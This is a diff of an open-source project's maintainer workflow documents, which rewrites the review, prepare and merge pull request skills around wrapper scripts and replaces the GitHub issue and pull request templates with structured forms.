- **Landing mode (exception path):** use only when normal `review-pr -> prepare-pr -> merge-pr` flow cannot safely preserve attribution or cannot satisfy branch protection. Create an integration branch from `main`, bring in PR commits (**prefer rebase** for linear history; **merge allowed** when complexity/conflicts make it safer), apply fixes, add changelog (+ thanks + PR #), run full gate **locally before committing** (`pnpm build && pnpm check && pnpm test`), commit, merge back to `main`, then `git switch main` (never stay on a topic branch after landing). Important: the contributor needs to be in the git graph after this!
## Pre-review safety checks
- Before starting a review when a GH Issue/PR is pasted: `review-pr`/`scripts/pr-review` should create and use an isolated `.worktrees/pr-<PR>` checkout from `origin/main` automatically. Do not require a clean main checkout, and do not run `git pull` in a dirty main checkout.
- PR review calls: prefer a single `gh pr view --json ...` to batch metadata/comments; run `gh pr diff` only when needed.
- PRs should summarize scope, note testing performed, and mention any user-facing changes or new flags.
- Read `docs/help/submitting-a-pr.md` ([Submitting a PR](https://docs.openclaw.ai/help/submitting-a-pr)) for what we expect from contributors.
## Unified workflow
Entry criteria:
@@ -78,7 +174,6 @@ Maintainer checkpoint before `prepare-pr`:
```
What problem are they trying to solve?
What is the most optimal implementation?
Is the code properly scoped?
Can we fix up everything?
Do we have any questions?
```
@@ -94,27 +189,30 @@ Stop and escalate instead of continuing if:
Purpose:
- Make the PR merge-ready on its head branch.
- Rebase onto current `main`, fix blocker/important findings, and run gates.
- Rebase onto current `main` first, then fix blocker/important findings, then run gates.
- In fresh worktrees, bootstrap dependencies before local gates (`pnpm install --frozen-lockfile`).
Expected output:
- Updated code and tests on the PR head branch.
- `.local/prep.md` with changes, verification, and current HEAD SHA.
- Final status: `PR is ready for /mergepr`.
- Final status: `PR is ready for /merge-pr`.
Maintainer checkpoint before `merge-pr`:
```
Is this the most optimal implementation?
Is the code properly scoped?
Is the code properly reusing existing logic in the codebase?
Is the code properly typed?
Is the code hardened?
Do we have enough tests?
Are tests using fake timers where relevant? (e.g., debounce/throttle, retry backoff, timeout branches, delayed callbacks, polling loops)
Do we need regression tests?
Are tests using fake timers where appropriate? (e.g., debounce/throttle, retry backoff, timeout branches, delayed callbacks, polling loops)
Do not add performative tests, ensure tests are real and there are no regressions.
Take your time, fix it properly, refactor if necessary.
Do you see any follow-up refactors we should do?
Did any changes introduce any potential security vulnerabilities?
Take your time, fix it properly, refactor if necessary.
```
Stop and escalate instead of continuing if:
@@ -123,59 +221,29 @@ Stop and escalate instead of continuing if:
- Fixing findings requires broad architecture changes outside safe PR scope.
- Security hardening requirements remain unresolved.
### Security advisory companion flow
Use this for GHSA-linked fixes and private reports.
1. Implement and test the fix locally first, do not edit advisory content yet.
2. Land the code fix PR through normal flow, including attribution and changelog where needed.
3. Prepare public-safe advisory text:
- No internal workflow chatter.
- No unnecessary exploit detail.
- Clear impact, affected range, fixed range, remediation, credits.
4. In GitHub advisory UI, set package ranges in the structured fields:
- `Affected versions`: `< fixed_version`
- `Patched versions`: `>= fixed_version`
Do not rely on description text alone.
5. If collaborator can edit text but cannot change advisory state, hand off to a Publisher to move triage -> accepted draft -> publish.
6. Advisory comments are posted manually in UI when required by policy. Do not rely on `gh api` automation for advisory comments.
Maintainer checkpoint for security advisories:
- Is the rewrite public-safe and free of internal/process notes?
- Are affected and patched ranges correctly set in the advisory form fields?
- Are credits present and accurate?
- Do we have Publisher action if state controls are unavailable?
### 3) `merge-pr`
Purpose:
- Merge only after review and prep artifacts are present and checks are green.
- Use squash merge flow and verify the PR ends in `MERGED` state.
- Use deterministic squash merge flow (`--match-head-commit` + explicit subject/body with co-author trailer), then verify the PR ends in `MERGED` state.
- If no required checks are configured on the PR, treat that as acceptable and continue after branch-up-to-date validation.
Go or no-go checklist before merge:
- All BLOCKER and IMPORTANT findings are resolved.
- Verification is meaningful and regression risk is acceptably low.
- Docs and changelog are updated when required.
- Changelog is updated (mandatory) and docs are updated when required.
- Required CI checks are green and the branch is not behind `main`.
Expected output:
- Successful merge commit and recorded merge SHA.
- Worktree cleanup after successful merge.
- Comment on PR indicating merge was successful.
Maintainer checkpoint after merge:
- Were any refactors intentionally deferred and now need follow-up issue(s)?
- Did this reveal broader architecture or test gaps we should address?
## Chasing main mitigation
To reduce repeated "branch behind main" loops:
1. Keep prep and merge windows short.
2. Rebase/update once, as late as possible, right before final checks.
3. Avoid non-essential commits on the PR branch after checks start.
4. Prefer merge queue or auto-merge when available.
- Run `bun scripts/update-clawtributors.ts` if the contributor is new.

View File

@@ -1,182 +1,99 @@
---
name: merge-pr
description: Merge a GitHub PR via squash after /preparepr. Use when asked to merge a ready PR. Do not push to main or modify code. Ensure the PR ends in MERGED state and clean up worktrees after success.
description: Script-first deterministic squash merge with strict required-check gating, head-SHA pinning, and reliable attribution/commenting.
---
# Merge PR
## Overview
Merge a prepared PR via `gh pr merge --squash` and clean up the worktree after success.
Merge a prepared PR only after deterministic validation.
## Inputs
- Ask for PR number or URL.
- If missing, auto-detect from conversation.
- If ambiguous, ask.
- If missing, use `.local/prep.env` from the PR worktree.
## Safety
- Use `gh pr merge --squash` as the only path to `main`.
- Do not run `git push` at all during merge.
- Do not run gateway stop commands. Do not kill processes. Do not touch port 18792.
- Do not execute merge or PR-comment GitHub write actions until maintainer explicitly approves.
- Never use `gh pr merge --auto` in this flow.
- Never run `git push` directly.
- Require `--match-head-commit` during merge.
- Wrapper commands are cwd-agnostic; you can run them from repo root or inside the PR worktree.
## Execution Rule
## Execution Contract
- Execute the workflow. Do not stop after printing the TODO checklist.
- If delegating, require the delegate to run commands and capture outputs.
## Known Footguns
- If you see "fatal: not a git repository", you are in the wrong directory. Use `~/dev/openclaw` if available; otherwise ask user.
- Read `.local/review.md` and `.local/prep.md` in the worktree. Do not skip.
- Clean up the real worktree directory `.worktrees/pr-<PR>` only after a successful merge.
- Expect cleanup to remove `.local/` artifacts.
## Completion Criteria
- Ensure `gh pr merge` succeeds.
- Ensure PR state is `MERGED`, never `CLOSED`.
- Record the merge SHA.
- Run cleanup only after merge success.
## First: Create a TODO Checklist
Create a checklist of all merge steps, print it, then continue and execute the commands.
## Setup: Use a Worktree
Use an isolated worktree for all merge work.
1. Validate merge readiness:
```sh
cd ~/dev/openclaw
# Sanity: confirm you are in the repo
git rev-parse --show-toplevel
WORKTREE_DIR=".worktrees/pr-<PR>"
scripts/pr-merge verify <PR>
```
Run all commands inside the worktree directory.
## Load Local Artifacts (Mandatory)
Expect these files from earlier steps:
- `.local/review.md` from `/reviewpr`
- `.local/prep.md` from `/preparepr`
Backward-compatible verify form also works:
```sh
ls -la .local || true
if [ -f .local/review.md ]; then
echo "Found .local/review.md"
sed -n '1,120p' .local/review.md
else
echo "Missing .local/review.md. Stop and run /reviewpr, then /preparepr."
exit 1
fi
if [ -f .local/prep.md ]; then
echo "Found .local/prep.md"
sed -n '1,120p' .local/prep.md
else
echo "Missing .local/prep.md. Stop and run /preparepr first."
exit 1
fi
scripts/pr-merge <PR>
```
2. Run one-shot deterministic merge:
```sh
scripts/pr-merge run <PR>
```
3. Ensure output reports:
- `merge_sha=<sha>`
- `merge_author_email=<email>`
- `comment_url=<url>`
## Steps
1. Identify PR meta
1. Validate artifacts
```sh
gh pr view <PR> --json number,title,state,isDraft,author,headRefName,baseRefName,headRepository,body --jq '{number,title,state,isDraft,author:.author.login,head:.headRefName,base:.baseRefName,headRepo:.headRepository.nameWithOwner,body}'
contrib=$(gh pr view <PR> --json author --jq .author.login)
head=$(gh pr view <PR> --json headRefName --jq .headRefName)
head_repo_url=$(gh pr view <PR> --json headRepository --jq .headRepository.url)
require=(.local/review.md .local/review.json .local/prep.md .local/prep.env)
for f in "${require[@]}"; do
[ -s "$f" ] || { echo "Missing artifact: $f"; exit 1; }
done
```
2. Run sanity checks
Stop if any are true:
- PR is a draft.
- Required checks are failing.
- Branch is behind main.
2. Validate checks and branch status
```sh
# Checks
gh pr checks <PR>
# Check behind main
git fetch origin main
git fetch origin pull/<PR>/head:pr-<PR>
git merge-base --is-ancestor origin/main pr-<PR> || echo "PR branch is behind main, run /preparepr"
scripts/pr-merge verify <PR>
source .local/prep.env
```
If anything is failing or behind, stop and say to run `/preparepr`.
`scripts/pr-merge` treats “no required checks configured” as acceptable (`[]`), but fails on any required `fail` or `pending`.
3. Merge PR and delete branch
If checks are still running, use `--auto` to queue the merge.
3. Merge deterministically (wrapper-managed)
```sh
# Check status first
check_status=$(gh pr checks <PR> 2>&1)
if echo "$check_status" | grep -q "pending\|queued"; then
echo "Checks still running, using --auto to queue merge"
gh pr merge <PR> --squash --delete-branch --auto
echo "Merge queued. Monitor with: gh pr checks <PR> --watch"
else
gh pr merge <PR> --squash --delete-branch
fi
scripts/pr-merge run <PR>
```
Before running merge command, pause and ask for explicit maintainer go-ahead.
`scripts/pr-merge run` performs:
If merge fails, report the error and stop. Do not retry in a loop.
If the PR needs changes beyond what `/preparepr` already did, stop and say to run `/preparepr` again.
- deterministic squash merge pinned to `PREP_HEAD_SHA`
- reviewer merge author email selection with fallback candidates
- one retry only when merge fails due to author-email validation
- co-author trailers for PR author and reviewer
- post-merge verification of both co-author trailers on commit message
- PR comment retry (3 attempts), then comment URL extraction
- cleanup after confirmed `MERGED`
4. Get merge SHA
4. Manual fallback (only if wrapper is unavailable)
```sh
merge_sha=$(gh pr view <PR> --json mergeCommit --jq '.mergeCommit.oid')
echo "merge_sha=$merge_sha"
scripts/pr merge-run <PR>
```
5. Optional comment
5. Cleanup
Use a literal multiline string or heredoc for newlines.
```sh
gh pr comment <PR> --body "$(printf 'Merged via squash.\n\n- Merge commit: %s\n\nThanks @%s!\n' \"$merge_sha\" \"$contrib\")"
```
6. Verify PR state is MERGED
```sh
gh pr view <PR> --json state --jq .state
```
7. Clean up worktree only on success
Run cleanup only if step 6 returned `MERGED`.
```sh
cd ~/dev/openclaw
git worktree remove ".worktrees/pr-<PR>" --force
git branch -D temp/pr-<PR> 2>/dev/null || true
git branch -D pr-<PR> 2>/dev/null || true
```
Cleanup is handled by `run` after merge success.
## Guardrails
- Worktree only.
- Do not close PRs.
- End in MERGED state.
- Clean up only after merge success.
- Never push to main. Use `gh pr merge --squash` only.
- Do not run `git push` at all in this command.
- End in `MERGED`, never `CLOSED`.
- Cleanup only after confirmed merge.

View File

@@ -1,251 +1,122 @@
---
name: prepare-pr
description: Prepare a GitHub PR for merge by rebasing onto main, fixing review findings, running gates, committing fixes, and pushing to the PR head branch. Use after /reviewpr. Never merge or push to main.
description: Script-first PR preparation with structured findings resolution, deterministic push safety, and explicit gate execution.
---
# Prepare PR
## Overview
Prepare a PR branch for merge with review fixes, green gates, and an updated head branch.
Prepare the PR head branch for merge after `/review-pr`.
## Inputs
- Ask for PR number or URL.
- If missing, auto-detect from conversation.
- If ambiguous, ask.
- If missing, use `.local/pr-meta.env` if present in the PR worktree.
## Safety
- Never push to `main` or `origin/main`. Push only to the PR head branch.
- Never run `git push` without specifying remote and branch explicitly. Do not run bare `git push`.
- Do not run gateway stop commands. Do not kill processes. Do not touch port 18792.
- Never push to `main`.
- Only push to PR head with explicit `--force-with-lease` against known head SHA.
- Do not run `git clean -fdx`.
- Do not run `git add -A` or `git add .`. Stage only specific files changed.
- Do not push to GitHub until the maintainer explicitly approves the push step.
- Wrappers are cwd-agnostic; run from repo root or PR worktree.
## Execution Rule
## Execution Contract
- Execute the workflow. Do not stop after printing the TODO checklist.
- If delegating, require the delegate to run commands and capture outputs.
## Known Footguns
- If you see "fatal: not a git repository", you are in the wrong directory. Use `~/dev/openclaw` if available; otherwise ask user.
- Do not run `git clean -fdx`.
- Do not run `git add -A` or `git add .`.
## Completion Criteria
- Rebase PR commits onto `origin/main`.
- Fix all BLOCKER and IMPORTANT items from `.local/review.md`.
- Run gates and pass.
- Commit prep changes.
- Push the updated HEAD back to the PR head branch.
- Write `.local/prep.md` with a prep summary.
- Output exactly: `PR is ready for /mergepr`.
## First: Create a TODO Checklist
Create a checklist of all prep steps, print it, then continue and execute the commands.
## Setup: Use a Worktree
Use an isolated worktree for all prep work.
1. Run setup:
```sh
cd ~/openclaw
# Sanity: confirm you are in the repo
git rev-parse --show-toplevel
WORKTREE_DIR=".worktrees/pr-<PR>"
scripts/pr-prepare init <PR>
```
Run all commands inside the worktree directory.
2. Resolve findings from structured review:
## Load Review Findings (Mandatory)
- `.local/review.json` is mandatory.
- Resolve all `BLOCKER` and `IMPORTANT` items.
3. Commit scoped changes with concise subjects (no PR number/thanks; those belong on the final merge/squash commit).
4. Run gates via wrapper.
5. Push via wrapper (includes pre-push remote verification, one automatic lease-retry path, and post-push API propagation retry).
Optional one-shot path:
```sh
if [ -f .local/review.md ]; then
echo "Found review findings from /reviewpr"
else
echo "Missing .local/review.md. Run /reviewpr first and save findings."
exit 1
fi
# Read it
sed -n '1,200p' .local/review.md
scripts/pr-prepare run <PR>
```
## Steps
1. Identify PR meta (author, head branch, head repo URL)
1. Setup and artifacts
```sh
gh pr view <PR> --json number,title,author,headRefName,baseRefName,headRepository,body --jq '{number,title,author:.author.login,head:.headRefName,base:.baseRefName,headRepo:.headRepository.nameWithOwner,body}'
contrib=$(gh pr view <PR> --json author --jq .author.login)
head=$(gh pr view <PR> --json headRefName --jq .headRefName)
head_repo_url=$(gh pr view <PR> --json headRepository --jq .headRepository.url)
scripts/pr-prepare init <PR>
ls -la .local/review.md .local/review.json .local/pr-meta.env .local/prep-context.env
jq . .local/review.json >/dev/null
```
2. Fetch the PR branch tip into a local ref
2. Resolve required findings
List required items:
```sh
git fetch origin pull/<PR>/head:pr-<PR>
jq -r '.findings[] | select(.severity=="BLOCKER" or .severity=="IMPORTANT") | "- [\(.severity)] \(.id): \(.title) => \(.fix)"' .local/review.json
```
3. Rebase PR commits onto latest main
Fix all required findings. Keep scope tight.
3. Update changelog/docs (changelog is mandatory in this workflow)
```sh
# Move worktree to the PR tip first
git reset --hard pr-<PR>
# Rebase onto current main
git fetch origin main
git rebase origin/main
jq -r '.changelog' .local/review.json
jq -r '.docs' .local/review.json
```
If conflicts happen:
4. Commit scoped changes
- Resolve each conflicted file.
- Run `git add <resolved_file>` for each file.
- Run `git rebase --continue`.
Use concise, action-oriented subject lines without PR numbers/thanks. The final merge/squash commit is the only place we include PR numbers and contributor thanks.
If the rebase gets confusing or you resolve conflicts 3 or more times, stop and report.
4. Fix issues from `.local/review.md`
- Fix all BLOCKER and IMPORTANT items.
- NITs are optional.
- Keep scope tight.
Keep a running log in `.local/prep.md`:
- List which review items you fixed.
- List which files you touched.
- Note behavior changes.
5. Update `CHANGELOG.md` if flagged in review
Check `.local/review.md` section H for guidance.
If flagged and user-facing:
- Check if `CHANGELOG.md` exists.
Use explicit file list:
```sh
ls CHANGELOG.md 2>/dev/null
scripts/committer "fix: <summary>" <file1> <file2> ...
```
- Follow existing format.
- Add a concise entry with PR number and contributor.
6. Update docs if flagged in review
Check `.local/review.md` section G for guidance.
If flagged, update only docs related to the PR changes.
7. Commit prep fixes
Stage only specific files:
5. Run gates
```sh
git add <file1> <file2> ...
scripts/pr-prepare gates <PR>
```
Preferred commit tool:
6. Push safely to PR head
```sh
committer "fix: <summary> (#<PR>) (thanks @$contrib)" <changed files>
scripts/pr-prepare push <PR>
```
If `committer` is not found:
This push step includes:
- robust fork remote resolution from owner/name,
- pre-push remote SHA verification,
- one automatic rebase + gate rerun + retry if lease push fails,
- post-push PR-head propagation retry,
- idempotent behavior when local prep HEAD is already on the PR head,
- post-push SHA verification and `.local/prep.env` generation.
7. Verify handoff artifacts
```sh
git commit -m "fix: <summary> (#<PR>) (thanks @$contrib)"
ls -la .local/prep.md .local/prep.env
```
8. Run full gates before pushing
8. Output
```sh
pnpm install
pnpm build
pnpm ui:build
pnpm check
pnpm test
```
Require all to pass. If something fails, fix, commit, and rerun. Allow at most 3 fix and rerun cycles. If gates still fail after 3 attempts, stop and report the failures. Do not loop indefinitely.
9. Push updates back to the PR head branch
```sh
# Ensure remote for PR head exists
git remote add prhead "$head_repo_url.git" 2>/dev/null || git remote set-url prhead "$head_repo_url.git"
# Use force with lease after rebase
# Double check: $head must NOT be "main" or "master"
echo "Pushing to branch: $head"
if [ "$head" = "main" ] || [ "$head" = "master" ]; then
echo "ERROR: head branch is main/master. This is wrong. Stopping."
exit 1
fi
git push --force-with-lease prhead HEAD:$head
```
Before running the command above, pause and ask for explicit maintainer go-ahead to perform the push.
10. Verify PR is not behind main (Mandatory)
```sh
git fetch origin main
git fetch origin pull/<PR>/head:pr-<PR>-verify --force
git merge-base --is-ancestor origin/main pr-<PR>-verify && echo "PR is up to date with main" || echo "ERROR: PR is still behind main, rebase again"
git branch -D pr-<PR>-verify 2>/dev/null || true
```
If still behind main, repeat steps 2 through 9.
11. Write prep summary artifacts (Mandatory)
Update `.local/prep.md` with:
- Current HEAD sha from `git rev-parse HEAD`.
- Short bullet list of changes.
- Gate results.
- Push confirmation.
- Rebase verification result.
Create or overwrite `.local/prep.md` and verify it exists and is non-empty:
```sh
git rev-parse HEAD
ls -la .local/prep.md
wc -l .local/prep.md
```
12. Output
Include a diff stat summary:
```sh
git diff --stat origin/main..HEAD
git diff --shortstat origin/main..HEAD
```
Report totals: X files changed, Y insertions(+), Z deletions(-).
If gates passed and push succeeded, print exactly:
```
PR is ready for /mergepr
```
Otherwise, list remaining failures and stop.
- Summarize resolved findings and gate results.
- Print exactly: `PR is ready for /merge-pr`.
## Guardrails
- Worktree only.
- Do not delete the worktree on success. `/mergepr` may reuse it.
- Do not run `gh pr merge`.
- Never push to main. Only push to the PR head branch.
- Run and pass all gates before pushing.
- Do not run `gh pr merge` in this skill.
- Do not delete worktree.

View File

@@ -1,229 +1,142 @@
---
name: review-pr
description: Review-only GitHub pull request analysis with the gh CLI. Use when asked to review a PR, provide structured feedback, or assess readiness to land. Do not merge, push, or make code changes you intend to keep.
description: Script-first review-only GitHub pull request analysis. Use for deterministic PR review with structured findings handoff to /prepare-pr.
---
# Review PR
## Overview
Perform a thorough review-only PR assessment and return a structured recommendation on readiness for /preparepr.
Perform a read-only review and produce both human and machine-readable outputs.
## Inputs
- Ask for PR number or URL.
- If missing, always ask. Never auto-detect from conversation.
- If ambiguous, ask.
- If missing, always ask.
## Safety
- Never push to `main` or `origin/main`, not during review, not ever.
- Do not run `git push` at all during review. Treat review as read only.
- Do not stop or kill the gateway. Do not run gateway stop commands. Do not kill processes on port 18792.
- Do not perform any GitHub write action (comments, assignees, labels, state changes) unless maintainer explicitly approves it.
- Never push, merge, or modify code intended to keep.
- Work only in `.worktrees/pr-<PR>`.
- Wrapper commands are cwd-agnostic; you can run them from repo root or inside the PR worktree.
## Execution Rule
## Execution Contract
- Execute the workflow. Do not stop after printing the TODO checklist.
- If delegating, require the delegate to run commands and capture outputs, not a plan.
## Known Failure Modes
- If you see "fatal: not a git repository", you are in the wrong directory. Use `~/dev/openclaw` if available; otherwise ask user.
- Do not stop after printing the checklist. That is not completion.
## Writing Style for Output
- Write casual and direct.
- Avoid em dashes and en dashes. Use commas or separate sentences.
## Completion Criteria
- Run the commands in the worktree and inspect the PR directly.
- Produce the structured review sections A through J.
- Save the full review to `.local/review.md` inside the worktree.
## First: Create a TODO Checklist
Create a checklist of all review steps, print it, then continue and execute the commands.
## Setup: Use a Worktree
Use an isolated worktree for all review work.
1. Run wrapper setup:
```sh
cd ~/dev/openclaw
# Sanity: confirm you are in the repo
git rev-parse --show-toplevel
WORKTREE_DIR=".worktrees/pr-<PR>"
git fetch origin main
# Reuse existing worktree if it exists, otherwise create new
if [ -d "$WORKTREE_DIR" ]; then
cd "$WORKTREE_DIR"
git checkout temp/pr-<PR> 2>/dev/null || git checkout -b temp/pr-<PR>
git fetch origin main
git reset --hard origin/main
else
git worktree add "$WORKTREE_DIR" -b temp/pr-<PR> origin/main
cd "$WORKTREE_DIR"
fi
# Create local scratch space that persists across /reviewpr to /preparepr to /mergepr
mkdir -p .local
scripts/pr-review <PR>
```
Run all commands inside the worktree directory.
Start on `origin/main` so you can check for existing implementations before looking at PR code.
2. Use explicit branch mode switches:
- Main baseline mode: `scripts/pr review-checkout-main <PR>`
- PR-head mode: `scripts/pr review-checkout-pr <PR>`
3. Before writing review outputs, run branch guard:
```sh
scripts/pr review-guard <PR>
```
4. Write both outputs:
- `.local/review.md` with sections A through J.
- `.local/review.json` with structured findings.
5. Validate artifacts semantically:
```sh
scripts/pr review-validate-artifacts <PR>
```
## Steps
1. Identify PR meta and context
1. Setup and metadata
```sh
gh pr view <PR> --json number,title,state,isDraft,author,baseRefName,headRefName,headRepository,url,body,labels,assignees,reviewRequests,files,additions,deletions --jq '{number,title,url,state,isDraft,author:.author.login,base:.baseRefName,head:.headRefName,headRepo:.headRepository.nameWithOwner,additions,deletions,files:.files|length,body}'
scripts/pr-review <PR>
ls -la .local/pr-meta.json .local/pr-meta.env .local/review-context.env .local/review-mode.env
```
2. Check if this already exists in main before looking at the PR branch
- Identify the core feature or fix from the PR title and description.
- Search for existing implementations using keywords from the PR title, changed file paths, and function or component names from the diff.
2. Existing implementation check on main
```sh
# Use keywords from the PR title and changed files
rg -n "<keyword_from_pr_title>" -S src packages apps ui || true
rg -n "<function_or_component_name>" -S src packages apps ui || true
git log --oneline --all --grep="<keyword_from_pr_title>" | head -20
scripts/pr review-checkout-main <PR>
rg -n "<keyword>" -S src extensions apps || true
git log --oneline --all --grep "<keyword>" | head -20
```
If it already exists, call it out as a BLOCKER or at least IMPORTANT.
3. Optional claim step, only with explicit approval
If the maintainer asks to claim the PR, assign yourself. Otherwise skip this.
3. Claim PR
```sh
gh_user=$(gh api user --jq .login)
gh pr edit <PR> --add-assignee "$gh_user"
gh pr edit <PR> --add-assignee "$gh_user" || echo "Could not assign reviewer, continuing"
```
4. Read the PR description carefully
Use the body from step 1. Summarize goal, scope, and missing context.
5. Read the diff thoroughly
Minimum:
4. Read PR description and diff
```sh
scripts/pr review-checkout-pr <PR>
gh pr diff <PR>
source .local/review-context.env
git diff --stat "$MERGE_BASE"..pr-<PR>
git diff "$MERGE_BASE"..pr-<PR>
```
If you need full code context locally, fetch the PR head to a local ref and diff it. Do not create a merge commit.
5. Optional local tests
Use the wrapper for target validation and executed-test verification:
```sh
git fetch origin pull/<PR>/head:pr-<PR>
# Show changes without modifying the working tree
git diff --stat origin/main..pr-<PR>
git diff origin/main..pr-<PR>
scripts/pr review-tests <PR> <test-file> [<test-file> ...]
```
If you want to browse the PR version of files directly, temporarily check out `pr-<PR>` in the worktree. Do not commit or push. Return to `temp/pr-<PR>` and reset to `origin/main` afterward.
6. Initialize review artifact templates
```sh
# Use only if needed
# git checkout pr-<PR>
# ...inspect files...
git checkout temp/pr-<PR>
git reset --hard origin/main
scripts/pr review-artifacts-init <PR>
```
6. Validate the change is needed and valuable
7. Produce review outputs
Be honest. Call out low value AI slop.
- Fill `.local/review.md` sections A through J.
- Fill `.local/review.json`.
7. Evaluate implementation quality
Minimum JSON shape:
Review correctness, design, performance, and ergonomics.
```json
{
"recommendation": "READY FOR /prepare-pr",
"findings": [
{
"id": "F1",
"severity": "IMPORTANT",
"title": "...",
"area": "path/or/component",
"fix": "Actionable fix"
}
],
"tests": {
"ran": [],
"gaps": [],
"result": "pass"
},
"docs": "up_to_date|missing|not_applicable",
"changelog": "required"
}
```
8. Perform a security review
Assume OpenClaw subagents run with full disk access, including git, gh, and shell. Check auth, input validation, secrets, dependencies, tool safety, and privacy.
9. Review tests and verification
Identify what exists, what is missing, and what would be a minimal regression test.
10. Check docs
Check if the PR touches code with related documentation such as README, docs, inline API docs, or config examples.
- If docs exist for the changed area and the PR does not update them, flag as IMPORTANT.
- If the PR adds a new feature or config option with no docs, flag as IMPORTANT.
- If the change is purely internal with no user-facing impact, skip this.
11. Check changelog
Check if `CHANGELOG.md` exists and whether the PR warrants an entry.
- If the project has a changelog and the PR is user-facing, flag missing entry as IMPORTANT.
- Leave the change for /preparepr, only flag it here.
12. Answer the key question
Decide if /preparepr can fix issues or the contributor must update the PR.
13. Save findings to the worktree
Write the full structured review sections A through J to `.local/review.md`.
Create or overwrite the file and verify it exists and is non-empty.
8. Guard + validate before final output
```sh
ls -la .local/review.md
wc -l .local/review.md
scripts/pr review-guard <PR>
scripts/pr review-validate-artifacts <PR>
```
14. Output the structured review
Produce a review that matches what you saved to `.local/review.md`.
A) TL;DR recommendation
- One of: READY FOR /preparepr | NEEDS WORK | NEEDS DISCUSSION | NOT USEFUL (CLOSE)
- 1 to 3 sentences.
B) What changed
C) What is good
D) Security findings
E) Concerns or questions (actionable)
- Numbered list.
- Mark each item as BLOCKER, IMPORTANT, or NIT.
- For each, point to file or area and propose a concrete fix.
F) Tests
G) Docs status
- State if related docs are up to date, missing, or not applicable.
H) Changelog
- State if `CHANGELOG.md` needs an entry and which category.
I) Follow ups (optional)
J) Suggested PR comment (optional)
## Guardrails
- Worktree only.
- Do not delete the worktree after review.
- Review only, do not merge, do not push.
- Keep review read-only.
- Do not delete worktree.
- Use merge-base scoped diff for local context to avoid stale branch drift.

View File

@@ -1,34 +0,0 @@
---
name: Bug report
about: Report a problem or unexpected behavior in Clawdbot.
title: "[Bug]: "
labels: bug
---
## Summary
What went wrong?
## Steps to reproduce
1.
2.
3.
## Expected behavior
What did you expect to happen?
## Actual behavior
What actually happened?
## Environment
- Clawdbot version:
- OS:
- Install method (pnpm/npx/docker/etc):
## Logs or screenshots
Paste relevant logs or add screenshots (redact secrets).

95
.github/ISSUE_TEMPLATE/bug_report.yml vendored Normal file
View File

@@ -0,0 +1,95 @@
name: Bug report
description: Report a defect or unexpected behavior in OpenClaw.
title: "[Bug]: "
labels:
- bug
body:
- type: markdown
attributes:
value: |
Thanks for filing this report. Keep it concise, reproducible, and evidence-based.
- type: textarea
id: summary
attributes:
label: Summary
description: One-sentence statement of what is broken.
placeholder: After upgrading to 2026.2.13, Telegram thread replies fail with "reply target not found".
validations:
required: true
- type: textarea
id: repro
attributes:
label: Steps to reproduce
description: Provide the shortest deterministic repro path.
placeholder: |
1. Configure channel X.
2. Send message Y.
3. Run command Z.
validations:
required: true
- type: textarea
id: expected
attributes:
label: Expected behavior
description: What should happen if the bug does not exist.
placeholder: Agent posts a reply in the same thread.
validations:
required: true
- type: textarea
id: actual
attributes:
label: Actual behavior
description: What happened instead, including user-visible errors.
placeholder: No reply is posted; gateway logs "reply target not found".
validations:
required: true
- type: input
id: version
attributes:
label: OpenClaw version
description: Exact version/build tested.
placeholder: 2026.2.13
validations:
required: true
- type: input
id: os
attributes:
label: Operating system
description: OS and version where this occurs.
placeholder: macOS 15.4 / Ubuntu 24.04 / Windows 11
validations:
required: true
- type: input
id: install_method
attributes:
label: Install method
description: How OpenClaw was installed or launched.
placeholder: npm global / pnpm dev / docker / mac app
- type: textarea
id: logs
attributes:
label: Logs, screenshots, and evidence
description: Include redacted logs/screenshots/recordings that prove the behavior.
render: shell
- type: textarea
id: impact
attributes:
label: Impact and severity
description: |
Explain who is affected, how severe it is, how often it happens, and the practical consequence.
Include:
- Affected users/systems/channels
- Severity (annoying, blocks workflow, data risk, etc.)
- Frequency (always/intermittent/edge case)
- Consequence (missed messages, failed onboarding, extra cost, etc.)
placeholder: |
Affected: Telegram group users on 2026.2.13
Severity: High (blocks replies)
Frequency: 100% repro
Consequence: Agents cannot respond in threads
- type: textarea
id: additional_information
attributes:
label: Additional information
description: Add any context that helps triage but does not fit above.
placeholder: Regression started after upgrade from 2026.2.12; temporary workaround is restarting gateway every 30m.

View File

@@ -1,22 +0,0 @@
---
name: Feature request
about: Suggest an idea or improvement for Clawdbot.
title: "[Feature]: "
labels: enhancement
---
## Summary
Describe the problem you are trying to solve or the opportunity you see.
## Proposed solution
What would you like Clawdbot to do?
## Alternatives considered
Any other approaches you have considered?
## Additional context
Links, screenshots, or related issues.

View File

@@ -0,0 +1,70 @@
name: Feature request
description: Propose a new capability or product improvement.
title: "[Feature]: "
labels:
- enhancement
body:
- type: markdown
attributes:
value: |
Help us evaluate this request with concrete use cases and tradeoffs.
- type: textarea
id: summary
attributes:
label: Summary
description: One-line statement of the requested capability.
placeholder: Add per-channel default response prefix.
validations:
required: true
- type: textarea
id: problem
attributes:
label: Problem to solve
description: What user pain this solves and why current behavior is insufficient.
placeholder: Teams cannot distinguish agent personas in mixed channels, causing misrouted follow-ups.
validations:
required: true
- type: textarea
id: proposed_solution
attributes:
label: Proposed solution
description: Desired behavior/API/UX with as much specificity as possible.
placeholder: Support channels.<channel>.responsePrefix with default fallback and account-level override.
validations:
required: true
- type: textarea
id: alternatives
attributes:
label: Alternatives considered
description: Other approaches considered and why they are weaker.
placeholder: Manual prefixing in prompts is inconsistent and hard to enforce.
- type: textarea
id: impact
attributes:
label: Impact
description: |
Explain who is affected, severity/urgency, how often this pain occurs, and practical consequences.
Include:
- Affected users/systems/channels
- Severity (annoying, blocks workflow, etc.)
- Frequency (always/intermittent/edge case)
- Consequence (delays, errors, extra manual work, etc.)
placeholder: |
Affected: Multi-team shared channels
Severity: Medium
Frequency: Daily
Consequence: +20 minutes/day/operator and delayed alerts
validations:
required: true
- type: textarea
id: evidence
attributes:
label: Evidence/examples
description: Prior art, links, screenshots, logs, or metrics.
placeholder: Comparable behavior in X, sample config, and screenshot of current limitation.
- type: textarea
id: additional_information
attributes:
label: Additional information
description: Extra context, constraints, or references not covered above.
placeholder: Must remain backward-compatible with existing config keys.

108
.github/pull_request_template.md vendored Normal file
View File

@@ -0,0 +1,108 @@
## Summary
Describe the problem and fix in 25 bullets:
- Problem:
- Why it matters:
- What changed:
- What did NOT change (scope boundary):
## Change Type (select all)
- [ ] Bug fix
- [ ] Feature
- [ ] Refactor
- [ ] Docs
- [ ] Security hardening
- [ ] Chore/infra
## Scope (select all touched areas)
- [ ] Gateway / orchestration
- [ ] Skills / tool execution
- [ ] Auth / tokens
- [ ] Memory / storage
